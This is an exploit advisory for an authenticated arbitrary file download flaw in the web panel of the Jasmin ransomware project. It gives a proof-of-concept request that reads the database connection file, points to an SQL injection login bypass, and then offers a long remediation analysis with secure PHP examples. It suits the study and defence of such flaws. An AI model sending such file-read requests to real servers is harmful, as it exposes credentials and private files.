Jasmin Ransomware - Arbitrary File Download (Authenticated)

Exploit Author: bRpsd Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2025-04-08
# Exploit Title: Jasmin Ransomware - (Authenticated) Arbitrary File Download
# Google Dork: N/A
# Date: 22-03-2025
# Exploit Author: bRpsd cy[at]live.no
# Vendor Homepage: https://github.com/codesiddhant/Jasmin-Ransomware
# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware
# Version: N/A
# Tested on: MacOS local xampp


Authentication can be easily bypassed due to SQL Injection as mentioned in:
https://www.exploit-db.com/exploits/52091



Vulnerable file:Web Panel/download_file.php
Vulnerable parameter:file
Vulnerable code:
<?php
session_start();
if(!isset($_SESSION['username']) ){
header("Location: login.php");
}
$file=$_GET['file'];
if(!empty($file)){
    // Define headers
    header("Cache-Control: public");
    header("Content-Description: File Transfer");
    header("Content-Disposition: attachment; filename=$file");
    header("Content-Type: text/encoded");
    header("Content-Transfer-Encoding: binary");
    
    // Read the file
   readfile($file);
    exit;
}else{
    echo 'The file does not exist.';
}
?>


Proof of concept:

http://localhost/Jasmin-Ransomware/Web Panel/download_file.php?file=database/db_conection.php
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Cookie: PHPSESSID=88e519f73f9013f560ed3f0514015d8c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

GET: HTTP/1.1 200 OK
Date: Sat, 22 Mar 2025 09:42:09 GMT
Server: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1
X-Powered-By: PHP/7.4.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Pragma: no-cache
Content-Description: File Transfer
Content-Disposition: attachment; filename=database/db_conection.php
Content-Transfer-Encoding: binary
Content-Length: 95
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/encoded;charset=UTF-8


Jasmin Ransomware — Arbitrary File Download (Authenticated): Analysis, Impact, and Remediation

This article explains an authenticated arbitrary file download vulnerability reported in the Jasmin Ransomware web panel. It describes the root causes, security impact, and concrete hardening steps — including safe, production-ready code examples and operational mitigations — to prevent information disclosure and credential bypass risks.

Summary

The web panel exposes a download endpoint that accepts a filename parameter and streams the requested file to the client. Combined with weaknesses in authentication (SQL injection in the login flow), this allows an attacker to obtain sensitive files from the web server, such as database connection files, configuration files, or other secrets.

Why this is dangerous

  • Confidential files (DB credentials, API keys) can be exfiltrated if the download endpoint accepts arbitrary paths.
  • Authentication bypass via SQL injection can allow unauthenticated attackers to reach the download functionality.
  • Directory traversal or relative-path use can let attackers escape intended directories and access arbitrary files.

Root causes

  • Insufficient input validation on the file parameter (no path normalization or allowlist).
  • Direct use of user-supplied values in readfile() without sanitization.
  • Authentication logic vulnerable to SQL injection (makes the download endpoint reachable by attackers).
  • Server-side files stored within the webroot with overly permissive access.

Secure design principles to apply

  • Use strong server-side authentication (prepared statements, password hashing) to prevent SQL injection.
  • Never accept arbitrary file paths from users — use an allowlist or map logical IDs to filesystem paths.
  • Normalize and validate file paths with realpath() and enforce a fixed base directory.
  • Store sensitive files outside the webroot or restrict access using server controls.
  • Prefer server-supported protected file delivery mechanisms (X-Sendfile, X-Accel-Redirect) for performance and safety.

Vulnerable pattern (illustrative)

<?php
session_start();
if(!isset($_SESSION['username']) ){
header("Location: login.php");
}
$file=$_GET['file'];
if(!empty($file)){
 header("Content-Disposition: attachment; filename=$file");
 readfile($file);
 exit;
}else{
 echo 'The file does not exist.';
}
?>

Explanation: This snippet reads a filename parameter directly from GET and passes it to readfile() without validation or path normalization. It also inserts the raw filename into headers. This enables directory traversal and arbitrary file reads if an attacker can reach the endpoint (and is especially dangerous if authentication is bypassable).

Safe PHP download implementation — using allowlist + realpath

<?php
session_start();

// Ensure user is authenticated (session-based)
if (empty($_SESSION['username'])) {
    http_response_code(401);
    exit('Authentication required.');
}

// Define allowed download directory (absolute path) and an optional mapping
$baseDir = __DIR__ . '/protected_files'; // store files outside public directories if possible

// Example allowlist map: logical IDs to filenames on disk
$allowlist = [
    'config' => 'database/db_connection.php',
    'report_2025' => 'reports/annual_2025.pdf'
];

$requested = $_GET['file'] ?? '';
if (!isset($allowlist[$requested])) {
    http_response_code(404);
    exit('File not found.');
}

// Resolve and normalize path
$target = realpath($baseDir . '/' . $allowlist[$requested]);
if ($target === false || strpos($target, realpath($baseDir)) !== 0) {
    http_response_code(403);
    exit('Access denied.');
}

// Serve file with safe headers
$basename = basename($target);
$mime = mime_content_type($target) ?: 'application/octet-stream';
header('Content-Description: File Transfer');
header('Content-Type: ' . $mime);
header('Content-Disposition: attachment; filename="' . $basename . '"');
header('Content-Length: ' . filesize($target));
readfile($target);
exit;
?>

Explanation: This code uses an allowlist that maps short IDs to permitted files; it prevents arbitrary path input. realpath() is used to canonicalize the resolved path and confirm it resides under the designated base directory. mime_content_type() provides a safer Content-Type, and basename() ensures the header filename is safe. Authentication is checked via the session before any file processing.

Alternative safe pattern — parameterized ID and database-backed metadata

<?php
// Assume PDO connection $pdo is already configured securely elsewhere
session_start();
if (empty($_SESSION['user_id'])) {
    http_response_code(401);
    exit('Authentication required.');
}

$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if (!$id) {
    http_response_code(400);
    exit('Invalid request.');
}

// Fetch safe path and filename from DB using prepared statements
$stmt = $pdo->prepare('SELECT storage_path, download_name FROM downloads WHERE id = :id AND owner_id = :uid');
$stmt->execute([':id' => $id, ':uid' => $_SESSION['user_id']]);
$fileMeta = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$fileMeta) {
    http_response_code(404);
    exit('Not found.');
}

$baseDir = '/var/www/app/protected_files';
$target = realpath($baseDir . '/' . $fileMeta['storage_path']);
if ($target === false || strpos($target, realpath($baseDir)) !== 0) {
    http_response_code(403);
    exit('Access denied.');
}

$mime = mime_content_type($target) ?: 'application/octet-stream';
header('Content-Type: ' . $mime);
header('Content-Disposition: attachment; filename="' . basename($fileMeta['download_name']) . '"');
readfile($target);
exit;
?>

Explanation: Instead of accepting filesystem paths from the user, the app accepts a numeric ID and looks up the authorized file metadata via parameterized database queries (prepared statements). This reduces the attack surface and ties each download to an authorization check (owner_id).

Fixing authentication — example login code using prepared statements

<?php
// Secure login example (PDO, prepared statements, password_verify)
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    $stmt = $pdo->prepare('SELECT id, password_hash FROM users WHERE username = :user LIMIT 1');
    $stmt->execute([':user' => $username]);
    $row = $stmt->fetch(PDO::FETCH_ASSOC);
    if ($row && password_verify($password, $row['password_hash'])) {
        // Regenerate session id to prevent fixation
        session_regenerate_id(true);
        $_SESSION['user_id'] = $row['id'];
        // Redirect or respond with success
    } else {
        // Generic error message (do not reveal which part failed)
    }
}
?>

Explanation: This login flow avoids SQL injection by using prepared statements with bound parameters, and verifies passwords using password_hash() / password_verify(). It also calls session_regenerate_id() after successful login to reduce session fixation risk. Never build SQL queries by concatenating user input.

Operational mitigations and best practices

  • Move sensitive files outside webroot so they cannot be directly requested.
  • Use strict filesystem permissions (least privilege) for web server user.
  • Deploy a web application firewall (WAF) to detect common injection/traversal patterns.
  • Enable monitoring and alerting for abnormal download activity and failed authentication attempts.
  • Use X-Sendfile (Apache) or X-Accel-Redirect (NGINX) to delegate file serving to the webserver and avoid PHP-level buffering for large files.
  • Perform code review and regular security testing (SAST, DAST, and authenticated penetration testing).

Response and patching checklist for maintainers

  • Immediately audit login code for SQL injection and migrate to prepared statements.
  • Replace any direct file-path parameters with an allowlist or ID-based system.
  • Ensure all config/credential files are outside of public directories.
  • Rotate secrets (DB passwords, API keys) if they're suspected to be exposed.
  • Publish a patch and notify users with remediation guidance and CVSS details if appropriate.

Key takeaways

  • Arbitrary file download vulnerabilities are often simple to introduce but lead to high-impact data leaks if combined with weak authentication.
  • Defend in depth: fix input handling, secure authentication, and limit file exposure via server configuration and application design.
  • Use allowlists, path canonicalization, prepared statements, and server-level delivery features to reduce risk.